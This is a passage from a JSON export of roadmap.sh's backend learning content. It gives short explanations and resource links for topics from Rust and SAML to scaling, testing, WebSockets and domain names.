    "content": "# Rust\n\nRust is a systems programming language focused on safety, performance, and concurrency. Provides memory safety without garbage collection through ownership model preventing null pointers and data races. Strong type system with modern features suitable for systems programming to web servers.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@official@The Rust Programming Language - Book](https://doc.rust-lang.org/book/)\n- [@article@Rust vs. Go: Why They’re Better Together](https://thenewstack.io/rust-vs-go-why-theyre-better-together/)\n- [@article@Rust by the Numbers: The Rust Programming Language in 2021](https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021/)\n- [@video@Learn Rust Programming](https://www.youtube.com/watch?v=BpPEoZW5IiY)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/saml@UCHtaePVxS-0kpqlYxbfC.md",
    "content": "# Security Assertion Markup Language (SAML)\n\nSAML (Security Assertion Markup Language) is an XML-based framework for single sign-on (SSO) and identity federation. Enables authentication exchange between identity providers (IdP) and service providers (SP) through XML assertions containing user identity and permissions. Streamlines user management and centralized authentication.\n\nVisit the following resources to learn more:\n\n- [@article@SAML Explained in Plain English](https://www.onelogin.com/learn/saml)\n- [@video@How SAML Authentication Works](https://www.youtube.com/watch?v=VzRnb9u8T1A)"
  },
  {
    "path": "src/data/roadmaps/backend/content/scaling-databases@95d9itpUZ4s9roZN8kG9x.md",
    "content": "# Scaling Databases\n\nScaling databases adapts them to handle more data and users efficiently through vertical scaling (upgrading hardware) or horizontal scaling (adding servers). Key techniques include sharding and replication to maintain robustness as databases grow.\n\nVisit the following resources to learn more:\n\n- [@article@Strategies for Scaling Databases: A Comprehensive Guide](https://medium.com/@anil.goyal0057/strategies-for-scaling-databases-a-comprehensive-guide-b69cda7df1d3)\n- [@article@Horizontal vs. Vertical Scaling - How to Scale a Database](https://www.freecodecamp.org/news/horizontal-vs-vertical-scaling-in-database/)\n- [@article@Understanding Database Sharding - DigitalOcean](https://www.digitalocean.com/community/tutorials/understanding-database-sharding)\n- [@article@Database Replication Explained](https://towardsdatascience.com/database-replication-explained-5c76a200d8f3)\n- [@video@Database Scaling Strategies for Beginners](https://www.youtube.com/watch?v=dkhOZOmV7Fo)\n- [@video@Database Sharding and Partitioning](https://www.youtube.com/watch?v=wXvljefXyEo)"
  },
  {
    "path": "src/data/roadmaps/backend/content/scrypt@kGTALrvCpxyVCXHRmkI7s.md",
    "content": "# Scrypt\n\nscrypt is a memory-hard key derivation function designed to resist brute-force and hardware-based attacks (GPUs, ASICs). Combines hash functions with high memory usage and CPU-intensive computation, making large-scale attacks costly and impractical. Used for secure password storage and cryptocurrency mining.\n\nVisit the following resources to learn more:\n\n- [@official@sCrypt Website](https://www.tarsnap.com/scrypt.html)\n- [@article@Wikipedia - scrypt](https://en.wikipedia.org/wiki/Scrypt)"
  },
  {
    "path": "src/data/roadmaps/backend/content/scylladb@aArZ3gKwObzafCkTOd-Hj.md",
    "content": "# ScyllaDB\n\nScyllaDB is a NoSQL database designed for high performance and low latency. It's built to be compatible with Apache Cassandra, meaning it uses the CQL (Cassandra Query Language) and offers similar data modeling capabilities. However, ScyllaDB is written in C++ and optimized for modern hardware, aiming to provide significantly better throughput and resource utilization compared to Cassandra.\n\nVisit the following resources to learn more:\n\n- [@official@ScyllaDB](https://www.scylladb.com/)\n- [@opensource@scylladb](https://github.com/scylladb/scylladb)\n- [@article@Understanding ScyllaDB: A Comprehensive Overview](https://risingwave.com/blog/understanding-scylladb-a-comprehensive-overview/)\n- [@video@What Makes ScyllaDB So Fast?](https://www.youtube.com/watch?v=JPkrdWMVpPk)\n- [@video@Todo App Part 1: Create an API using NodeJS and Express](https://www.youtube.com/watch?v=bvULDI6dtpw&list=PLSV-L4GsXwgkPrwyXCpL4S5NLAnCeGhvX)"
  },
  {
    "path": "src/data/roadmaps/backend/content/search-engines@gKTSe9yQFVbPVlLzWB0hC.md",
    "content": "# Search Engines\n\nSearch engines like Elasticsearch are specialized tools for fast, scalable searching and analyzing large data volumes. Built on Apache Lucene, they offer full-text search, real-time indexing, distributed architecture, powerful query DSL, and analytics capabilities for log and event data analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch](https://www.elastic.co/elasticsearch/)"
  },
  {
    "path": "src/data/roadmaps/backend/content/server-security@TZ0BWOENPv6pQm8qYB8Ow.md",
    "content": "# Server Security\n\nServer security protects servers from threats through patch management, access control, firewalls, encryption, security hardening, regular backups, and monitoring. Ensures confidentiality, integrity, and availability of data and services with continuous threat detection and response.\n\nVisit the following resources to learn more:\n\n- [@article@What is a hardened server?](https://www.sophos.com/en-us/cybersecurity-explained/what-is-server-hardening)\n- [@video@10 Tips for Hardening your Linux Servers](https://www.youtube.com/watch?v=Jnxx_IAC0G4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/server-sent-events@RUSdlokJUcEYbCvq5FJBJ.md",
    "content": "# Server Sent Events\n\nServer-Sent Events (SSE) sends real-time updates from server to client over persistent HTTP connection. Enables efficient server push with automatic reconnection. Ideal for one-way communication like live notifications using simple text-based format and EventSource API.\n\nVisit the following resources to learn more:\n\n- [@article@Server Sent Events - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events)\n- [@video@Server-Sent Events | Postman Level Up](https://www.youtube.com/watch?v=KrE044J8jEQ&t=1s)"
  },
  {
    "path": "src/data/roadmaps/backend/content/server-side@z1-eP4sV75GBEIdM4NvL9.md",
    "content": "# Server side\n\nServer-side caching improves performance by storing frequently accessed data in server memory, reducing repeated data retrieval. Speeds up response times and reduces database load. Caches query results, HTML fragments, API responses using tools like Redis, Memcached, and framework caching.\n\nVisit the following resources to learn more:\n\n- [@article@Server-side caching and Client-side caching](https://www.codingninjas.com/codestudio/library/server-side-caching-and-client-side-caching)\n- [@article@Caching strategies](https://medium.com/@genchilu/cache-strategy-in-backend-d0baaacd2d79)\n- [@article@Local vs distributed](https://redis.io/glossary/distributed-caching/)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/serverless@nkmIv3dNwre4yrULMgTh3.md",
    "content": "# Serverless\n\nServerless computing lets developers build applications without managing server infrastructure. Cloud providers handle scaling and maintenance while developers deploy event-triggered functions. Billing based on actual usage. Platforms: AWS Lambda, Google Cloud Functions, Azure Functions.\n\nVisit the following resources to learn more:\n\n- [@article@Serverless](https://www.ibm.com/cloud/learn/serverless)\n- [@article@AWS Services](https://aws.amazon.com/serverless/)\n- [@video@Serverless Computing in 100 Seconds](https://www.youtube.com/watch?v=W_VV2Fx32_Y&ab_channel=Fireship)\n- [@feed@Explore top posts about Serverless](https://app.daily.dev/tags/serverless?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/service-mesh@n14b7sfTOwsjKTpFC9EZ2.md",
    "content": "# Service Mesh\n\nService mesh enhances communication, security, and management between microservices using intelligent proxies. Provides load balancing, service discovery, observability, and traffic management. Uses sidecar pattern where each microservice pairs with a proxy for independent network functionality management.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Service Mesh (AWS blog)?](https://aws.amazon.com/what-is/service-mesh/)\n- [@article@What is a Service Mesh (RedHat blog)?](https://www.redhat.com/en/topics/microservices/what-is-a-service-mesh)\n- [@video@What is a Service Mesh?](https://www.youtube.com/watch?v=vh1YtWjfcyk)\n- [@feed@Explore top posts about Service Mesh](https://app.daily.dev/tags/service-mesh?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/sha@JVN38r5jENoteia3YeIQ3.md",
    "content": "# SHA family\n\nSHA (Secure Hash Algorithm) is a family of cryptographic hash functions generating fixed-size hash values for data integrity and security. Includes SHA-1 (weak, 160-bit), SHA-2 (stronger, 224-512 bits), and SHA-3 (latest with additional security features). Used for password storage and digital signatures.\n\nVisit the following resources to learn more:\n\n- [@article@What is SHA?](https://www.encryptionconsulting.com/education-center/what-is-sha/)\n- [@video@SHA: Secure Hashing Algorithm](https://www.youtube.com/watch?v=DMtFhACPnTY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/sharding-strategies@zWstl08R4uzqve4BdYurp.md",
    "content": "# Sharding strategies\n\nSharding splits large datasets into smaller chunks (logical shards) distributed across different machines/database nodes to distribute traffic load. Improves application scalability. Supported by many but not all databases.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia - Sharding in Database Architectures](https://en.wikipedia.org/wiki/Shard_(database_architecture))\n- [@article@How sharding a database can make it faster](https://stackoverflow.blog/2022/03/14/how-sharding-a-database-can-make-it-faster/)\n- [@video@What is Database Sharding?](https://www.youtube.com/watch?v=XP98YCr-iXQ)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/short-polling@Tt7yr-ChHncJG0Ge1f0Xk.md",
    "content": "# Short Polling\n\nShort polling sends periodic requests to server at regular intervals to check for updates. Simple to implement and HTTP-compatible but inefficient due to frequent requests and latency. Contrasts with long polling and WebSockets. Used when real-time requirements are less stringent.\n\nLearn more from the following resources:\n\n- [@article@Amazon SQS Short and Long Polling](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html)\n- [@video@Short Polling vs Long Polling vs WebSockets](https://www.youtube.com/watch?v=ZBM28ZPlin8)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/skills@IWubGe3oquSj882QVnhLU.md",
    "content": "# Skills\n\nAI coding assistants can now leverage \"skills\" – pre-defined functions or tools exposed to the AI that allow it to perform specific actions. Instead of relying solely on their internal knowledge and large language models, these assistants can call upon these skills (like running tests, deploying code, or querying databases) when needed. This allows the AI to interact with the development environment and execute tasks directly, improving accuracy and efficiency, all while minimizing the context window required for each action.\n\nVisit the following resources to learn more:\n\n- [@course@Agent Skills with Anthropic](https://www.deeplearning.ai/short-courses/agent-skills-with-anthropic/)\n- [@article@Agent Skills: The Universal Standard Transforming How AI Agents Work](https://medium.com/@richardhightower/agent-skills-the-universal-standard-transforming-how-ai-agents-work-fc7397406e2e)\n- [@article@AI Agents or Skills? Why the Answer Is ‘Both’](https://thenewstack.io/ai-agents-or-skills-why-the-answer-is-both/)\n- [@article@Agent Skills vs Tools: What Actually Matters](https://blog.arcade.dev/what-are-agent-skills-and-tools)\n- [@video@Claude Agent Skills Explained](https://www.youtube.com/watch?v=fOxC44g8vig)\n- [@video@Agent Skills Explained: Why This Changes Everything for AI Development](https://www.youtube.com/watch?v=Ihoxov5x66k)\n- [@video@The complete guide to Agent Skills](https://www.youtube.com/watch?v=fabAI1OKKww)"
  },
  {
    "path": "src/data/roadmaps/backend/content/soa@tObmzWpjsJtK4GWhx6pwB.md",
    "content": "# SOA\n\nSOA (Service-Oriented Architecture) uses reusable, loosely coupled services that interact over networks through standardized protocols like HTTP and XML. Each service performs specific business functions independently. Enables scalable, flexible, interoperable systems with modular development and easier integration.\n\nVisit the following resources to learn more:\n\n- [@article@What is SOA?](https://aws.amazon.com/what-is/service-oriented-architecture/)\n- [@article@Reference Architecture Foundation for Service Oriented Architecture](http://docs.oasis-open.org/soa-rm/soa-ra/v1.0/soa-ra.html)\n- [@video@Service Oriented Architecture (SOA) Simplified](https://www.youtube.com/watch?v=PA9RjHI463g)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/soap@sSNf93azjuyMzQqIHE0Rh.md",
    "content": "# SOAP\n\nSOAP (Simple Object Access Protocol) is a structured message protocol for exchanging information between systems and applications. SOAP APIs are developed in formal, structured ways. Messages can be carried over various protocols including HTTP.\n\nVisit the following resources to learn more:\n\n- [@official@W3C SOAP Specification](https://www.w3.org/TR/soap12/)\n- [@article@What is SOAP? REST vs SOAP - AWS](https://aws.amazon.com/what-is/soap-vs-rest/)\n- [@article@SOAP vs REST - Red Hat](https://www.redhat.com/en/topics/integration/whats-the-difference-between-soap-rest)\n- [@article@SOAP Web Services Tutorial for Beginners](https://www.guru99.com/soap-simple-object-access-protocol.html)\n- [@video@REST vs SOAP](https://www.youtube.com/watch?v=_fq8Ye8kodA)\n- [@video@SOAP vs REST vs GraphQL vs gRPC](https://www.youtube.com/watch?v=4vLxWqE94l4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/solr@iN_1EuIwCx_7lRBw1Io4U.md",
    "content": "# Solr\n\nSolr is an open-source, scalable search platform built on Apache Lucene for full-text search, faceted search, and real-time indexing. Supports complex queries, distributed searching, text analysis, highlighting, and geographic search. Used for search engines and data retrieval systems.\n\nVisit the following resources to learn more:\n\n- [@opensource@Solr on GitHub](https://github.com/apache/solr)\n- [@article@Solr Website](https://solr.apache.org/)\n- [@article@Solr Documentation](https://solr.apache.org/resources.html#documentation)\n- [@video@Apache Solr vs Elasticsearch Differences](https://www.youtube.com/watch?v=MMWBdSdbu5k)"
  },
  {
    "path": "src/data/roadmaps/backend/content/sqlite@kdulE3Z_BdbtRmq6T2KmR.md",
    "content": "# SQLite\n\nSQLite is a lightweight, serverless, self-contained SQL database engine storing data in a single file. Used in mobile apps, desktop applications, and small websites. Supports standard SQL with ACID compliance. Popular for compact, high-performance database needs with minimal configuration.\n\nVisit the following resources to learn more:\n\n- [@official@SQLite](https://www.sqlite.org/index.html)\n- [@article@SQLite Tutorial](https://www.sqlitetutorial.net/)\n- [@video@SQLite Introduction](https://www.youtube.com/watch?v=8Xyn8R9eKB8)\n- [@feed@Explore top posts about SQLite](https://app.daily.dev/tags/sqlite?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/ssltls@0v3OsaghJEGHeXX0c5kqn.md",
    "content": "# SSL/TLS\n\nSSL and TLS are cryptographic protocols providing internet communication security through data encryption. SSL is deprecated due to security flaws; modern browsers no longer support it. TLS remains secure and widely supported for encrypted data transmission.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia - SSL/TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n- [@article@Cloudflare - What is SSL?](https://www.cloudflare.com/learning/ssl/what-is-ssl/)\n- [@video@SSL, TLS, HTTPS Explained](https://www.youtube.com/watch?v=j9QmMEWmcfo)"
  },
  {
    "path": "src/data/roadmaps/backend/content/streaming@9f-aWi3_7USy4XpNzrTL6.md",
    "content": "# Streamed Responses\n\nStreamed and unstreamed responses describe how an AI agent sends its answer to the user. With a streamed response, the agent starts sending words as soon as it generates them. The user sees the text grow on the screen in real time. This feels fast and lets the user stop or change the request early. It is useful for long answers and chat-like apps.\n\nAn unstreamed response waits until the whole answer is ready, then sends it all at once. This makes the code on the client side simpler and is easier to cache or log, but the user must wait longer, especially for big outputs. Choosing between the two depends on the need for speed, the length of the answer, and how complex you want the client and server to be.\n\nVisit the following resources to learn more:\n\n- [@article@Streaming Responses in AI: How AI Outputs Are Generated in Real Time](https://dev.to/pranshu_kabra_fe98a73547a/streaming-responses-in-ai-how-ai-outputs-are-generated-in-real-time-18kb)\n- [@article@AI for Web Devs: Faster Responses with HTTP Streaming](https://austingil.com/ai-for-web-devs-streaming/)\n- [@article@Master the OpenAI API: Stream Responses](https://www.toolify.ai/gpts/master-the-openai-api-stream-responses-139447)"
  },
  {
    "path": "src/data/roadmaps/backend/content/structured-outputs@GMxPmyatxYmIPRFHfRAnr.md",
    "content": "# Structured Outputs\n\nStructured outputs involve prompting LLMs to return responses in specific formats like JSON, XML, or other organized structures rather than free-form text. This approach forces models to organize information systematically, reduces hallucinations by imposing format constraints, enables easy programmatic processing, and facilitates integration with applications. For example, requesting movie classification results as JSON with specified schema ensures consistent, parseable responses. Structured outputs are particularly valuable for data extraction, API integration, and applications requiring reliable data formatting.\n\nVisit the following resources to learn more:\n\n- [@article@Diving Deeper with Structured Outputs](https://medium.com/data-science/diving-deeper-with-structured-outputs-b4a5d280c208)\n- [@article@Structured model outputs - OpenAI](https://platform.openai.com/docs/guides/structured-outputs)\n- [@article@Structured outputs - Claude](https://platform.claude.com/docs/en/build-with-claude/structured-outputs)\n- [@video@How to Measure LLM Confidence: Logprobs & Structured Output](https://www.youtube.com/watch?v=THsGizLHrTs)"
  },
  {
    "path": "src/data/roadmaps/backend/content/telemetry@neVRtPjIHP_VG7lHwfah0.md",
    "content": "# Telemetry\n\nTelemetry automates collection, transmission, and analysis of data from distributed systems to monitor performance and health. Provides real-time insights, identifies issues, optimizes performance. Collects metrics like resource usage and error rates for anomaly detection and decision-making.\n\nVisit the following resources to learn more:\n\n- [@course@OpenTelemetry Course - Understand Software Performance](https://www.youtube.com/watch?v=r8UvWSX3KA8)\n- [@article@What is telemetry and how does it work?](https://www.techtarget.com/whatis/definition/telemetry)\n- [@feed@daily.dev OpenTelemetry feed](https://app.daily.dev/tags/opentelemetry)"
  },
  {
    "path": "src/data/roadmaps/backend/content/test-driven-development@I-PUAE2AzbEaUkW9vMaUM.md",
    "content": "# Test Driven Development\n\nTest Driven Development (TDD) writes tests for requirements that fail until software meets those requirements. Once tests pass, cycle repeats for refactoring or new features. Ensures software meets requirements in simplest form and avoids defects.\n\nVisit the following resources to learn more:\n\n- [@article@What is Test Driven Development (TDD)?](https://www.guru99.com/test-driven-development.html)\n- [@article@Test-driven development](https://www.ibm.com/garage/method/practices/code/practice_test_driven_development/)\n- [@video@Test-Driven Development](https://www.youtube.com/watch?v=Jv2uxzhPFl4)\n- [@feed@Explore top posts about TDD](https://app.daily.dev/tags/tdd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/testing@STQQbPa7PE3gbjMdL6P-t.md",
    "content": "# Testing\n\nTesting systematically evaluates software functionality, performance, and quality against requirements. Includes unit, integration, system, and acceptance testing levels. Can be manual or automated to identify defects, validate features, and ensure reliable performance before deployment.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/throttling@qAu-Y4KI2Z_y-EqiG86cR.md",
    "content": "# Throttling\n\nThrottling controls the rate of request processing to prevent system overload by setting limits on requests per time period. Manages resource consumption, ensures fair usage, maintains stability, and protects against abuse. Commonly used in APIs, networks, and databases.\n\nVisit the following resources to learn more:\n\n- [@article@Throttling - AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/2022-03-31/framework/rel_mitigate_interaction_failure_throttle_requests.html)\n- [@video@Throttling vs Debouncing](https://www.youtube.com/watch?v=tJhA0DrH5co)"
  },
  {
    "path": "src/data/roadmaps/backend/content/timescale@WiAK70I0z-_bzbWNwiHUd.md",
    "content": "# TimeScale\n\nTimescaleDB is an open-source time-series database built as PostgreSQL extension. Handles large volumes of time-stamped data efficiently for monitoring, IoT, and financial applications. Features efficient ingestion, time-based queries, automatic partitioning (hypertables), and complex aggregations.\n\nVisit the following resources to learn more:\n\n- [@official@Timescale Website](https://www.timescale.com/)\n- [@video@Tutorial - TimeScaleDB Explained in 100 Seconds](https://www.youtube.com/watch?v=69Tzh_0lHJ8)\n- [@video@What is Time Series Data?](https://www.youtube.com/watch?v=Se5ipte9DMY)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/timescaledb@WiAK70I0z-_bzbWNwiHUd.md",
    "content": "# TimeScale\n\nTimescaleDB is an open-source time-series database built as PostgreSQL extension. Handles large volumes of time-stamped data efficiently for monitoring, IoT, and financial applications. Features efficient ingestion, time-based queries, automatic partitioning (hypertables), and complex aggregations.\n\nVisit the following resources to learn more:\n\n- [@official@Timescale Website](https://www.timescale.com/)\n- [@video@Tutorial - TimeScaleDB Explained in 100 Seconds](https://www.youtube.com/watch?v=69Tzh_0lHJ8)\n- [@video@What is Time Series Data?](https://www.youtube.com/watch?v=Se5ipte9DMY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/token-authentication@0rGj7FThLJZouSQUhnqGW.md",
    "content": "# Token authentication\n\nToken-based authentication verifies user identity and provides unique access tokens. Users access protected resources without re-entering credentials while token remains valid. Works like stamped tickets, invalidated on logout. Offers second security layer with detailed administrative control.\n\nVisit the following resources to learn more:\n\n- [@article@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@What Is Token-Based Authentication?](https://www.okta.com/identity-101/what-is-token-based-authentication/)\n- [@video@Why is JWT popular?](https://www.youtube.com/watch?v=P2CPd9ynFLg)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/transactions@rq_y_OBMD9AH_4aoecvAi.md",
    "content": "# Transactions\n\nDatabase transactions are series of operations executed as atomic units to ensure data integrity. Follow ACID properties: Atomicity (all-or-nothing), Consistency (valid state), Isolation (no interference), Durability (permanent changes). Ensure reliable concurrent operations and data consistency.\n\nVisit the following resources to learn more:\n\n- [@official@PostgreSQL Transaction Isolation Documentation](https://www.postgresql.org/docs/current/transaction-iso.html)\n- [@article@What are Transactions?](https://fauna.com/blog/database-transaction)\n- [@article@SQL Transactions Tutorial](https://www.sqlservertutorial.net/sql-server-basics/sql-server-transaction/)\n- [@article@How does a Relational Database work?](https://vladmihalcea.com/how-does-a-relational-database-work/)\n- [@video@What is a Database transaction?](https://www.youtube.com/watch?v=wHUOeXbZCYA)\n- [@video@ACID Properties in Databases With Examples](https://www.youtube.com/watch?v=GAe5oB742dw)\n- [@video@Database Transactions and ACID Properties](https://www.youtube.com/watch?v=AcqtAEzuoj0)"
  },
  {
    "path": "src/data/roadmaps/backend/content/twelve-factor-apps@8DmabQJXlrT__COZrDVTV.md",
    "content": "# Twelve-Factor Apps\n\nTwelve-Factor App methodology provides principles for building scalable, maintainable cloud applications. Key factors: single codebase, explicit dependencies, environment config, stateless processes, port binding, dev/prod parity, log streams, and graceful shutdown for portability and deployment ease.\n\nVisit the following resources to learn more:\n\n- [@article@The Twelve-Factor App](https://12factor.net/)\n- [@article@An illustrated guide to 12 Factor Apps](https://www.redhat.com/architect/12-factor-app)\n- [@video@Every Developer NEEDS To Know 12-Factor App Principles](https://www.youtube.com/watch?v=FryJt0Tbt9Q)"
  },
  {
    "path": "src/data/roadmaps/backend/content/types-of-scaling@osQlGGy38xMcKLtgZtWaZ.md",
    "content": "# Horizontal/Vertical Scaling\n\nHorizontal scaling (scaling out/in) adds/removes resource instances like servers to distribute workload across multiple nodes for performance and redundancy. Vertical scaling (scaling up/down) increases/decreases single instance resources (CPU, memory, storage) but has hardware capacity limits.\n\nVisit the following resources to learn more:\n\n- [@article@Horizontal vs Vertical Scaling](https://touchstonesecurity.com/horizontal-vs-vertical-scaling-what-you-need-to-know/)\n- [@video@Vertical Vs Horizontal Scaling: Key Differences You Should Know](https://www.youtube.com/watch?v=dvRFHG2-uYs)\n- [@video@System Design 101](https://www.youtube.com/watch?v=Y-Gl4HEyeUQ)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/unit-testing@3OYm6b9f6WOrKi4KTOZYK.md",
    "content": "# Unit Testing\n\nUnit testing tests individual components or units in isolation to ensure correct functionality. Focuses on smallest testable parts like functions with predefined inputs and expected outcomes. Automated tests written by developers during coding to catch bugs early and improve reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Jest - JavaScript Testing Framework](https://jestjs.io/docs/getting-started)\n- [@opensource@JavaScript Testing Best Practices](https://github.com/goldbergyoni/javascript-testing-best-practices)\n- [@article@Unit Testing](https://en.wikipedia.org/wiki/Unit_testing)\n- [@article@What is Unit Testing?](https://www.guru99.com/unit-testing-guide.html)\n- [@video@JavaScript Unit Testing with Jest - Full Course](https://www.youtube.com/watch?v=IPiUDhwnZxA)\n- [@video@What is Unit Testing?](https://youtu.be/x95ez7_V7rA?si=JhCVhcEN7zZOkxdp)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/vectors@yKNdBbahm_h81xdMDT-qx.md",
    "content": "# Vectors\n\nVectors are mathematical objects that have both magnitude (length) and direction. They are often represented as ordered lists of numbers, called components. In computer science, and particularly within AI and machine learning, vectors are used to represent data points in a multi-dimensional space, allowing for calculations of similarity, distance, and direction between data points.\n\nVisit the following resources to learn more:\n\n- [@article@What is vector embedding?](https://www.ibm.com/think/topics/vector-embedding)\n- [@article@What are vectors and how do they apply to machine learning?](https://www.algolia.com/blog/ai/what-are-vectors-and-how-do-they-apply-to-machine-learning)\n- [@article@A Gentle Introduction to Vectors for Machine Learning](https://machinelearningmastery.com/gentle-introduction-vectors-machine-learning/)\n- [@article@Vector Databases](https://developers.cloudflare.com/vectorize/reference/what-is-a-vector-database/)\n- [@video@AI Foundations - What are Vectors?](https://www.youtube.com/watch?v=dvDmXTKFtgQ)"
  },
  {
    "path": "src/data/roadmaps/backend/content/version-control-systems@ezdqQW9wTUw93F6kjOzku.md",
    "content": "# Version Control Systems\n\nVersion Control Systems (VCS) manage and track code changes over time, enabling efficient collaboration. Record file changes, allow reverting to previous versions, and maintain modification history. Can be centralized (Subversion) or distributed (Git, Mercurial) for collaboration and code integrity.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/doc)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@article@What is Version Control? - GitLab](https://about.gitlab.com/topics/version-control/)\n- [@article@Comparing Workflows - Centralized vs Distributed](https://www.atlassian.com/git/tutorials/comparing-workflows)\n- [@video@Version Control System (VCS) - Everything you need to know](https://www.youtube.com/watch?v=SVkuliabq4g)\n- [@video@Git for Beginners - Git & GitHub Tutorial](https://www.youtube.com/watch?v=8JJ101D3knE)"
  },
  {
    "path": "src/data/roadmaps/backend/content/web-security@RBrIP5KbVQ2F0ly7kMfTo.md",
    "content": "# Web Security Knowledge\n\nWeb security protects applications from threats through strong authentication, encryption (SSL/TLS), input validation preventing SQL injection and XSS attacks, secure coding practices, session management, regular updates, and ongoing security testing including penetration testing.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Cybersecurity Roadmap](https://roadmap.sh/cyber-security)\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@video@7 Security Risks and Hacking Stories for Web Developers](https://www.youtube.com/watch?v=4YOpILi9Oxs)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/web-servers@fekyMpEnaGqjh1Cu4Nyc4.md",
    "content": "# Web Servers\n\nWeb servers handle client requests and serve web content like HTML pages and images. Process HTTP/HTTPS requests, interact with databases, and send responses. Popular servers include Apache, Nginx, and IIS. Essential for hosting websites, managing traffic, and providing SSL/TLS security.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Web Server? - Mozilla](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server)\n- [@article@What is a Web Server?](https://www.hostinger.co.uk/tutorials/what-is-a-web-server)\n- [@video@Web Server Concepts and Examples](https://youtu.be/9J1nJOivdyw)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/websockets@sVuIdAe08IWJVqAt4z-ag.md",
    "content": "# Web sockets\n\nWebSockets enable full-duplex, real-time communication over a single persistent connection between client and server. Unlike HTTP's request-response cycles, allows continuous bidirectional data exchange. Ideal for live chat, gaming, and real-time updates with low-latency communication.\n\nVisit the following resources to learn more:\n\n- [@official@Socket.io Library Bidirectional and Low-latency Communication for Every Platform](https://socket.io/)\n- [@article@Introduction to WebSockets](https://www.tutorialspoint.com/websockets/index.htm)\n- [@video@A Beginners Guide to WebSockets](https://www.youtube.com/watch?v=8ARodQ4Wlf4)\n- [@video@How Web Sockets Work](https://www.youtube.com/watch?v=G0_e02DdH7I)"
  },
  {
    "path": "src/data/roadmaps/backend/content/what-is-domain-name@ZhSuu2VArnzPDp6dPQQSC.md",
    "content": "# Domain Name\n\nDomain names are human-readable internet addresses that translate to IP addresses for computer identification. Consist of second-level domain (\"example\") and top-level domain (\".com\"). Managed by registrars, providing user-friendly website navigation instead of numeric IP addresses.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Domain Name?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_domain_name)\n- [@article@What is a Domain Name? | Domain name vs. URL](https://www.cloudflare.com/en-gb/learning/dns/glossary/what-is-a-domain-name/)\n- [@video@A Beginners Guide to How Domain Names Work](https://www.youtube.com/watch?v=Y4cRx19nhJk)\n- [@video@Everything You Need to Know About Domain Names](https://www.youtube.com/watch?v=qO5qcQgiNX4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/what-is-hosting@aqMaEY8gkKMikiqleV5EP.md",
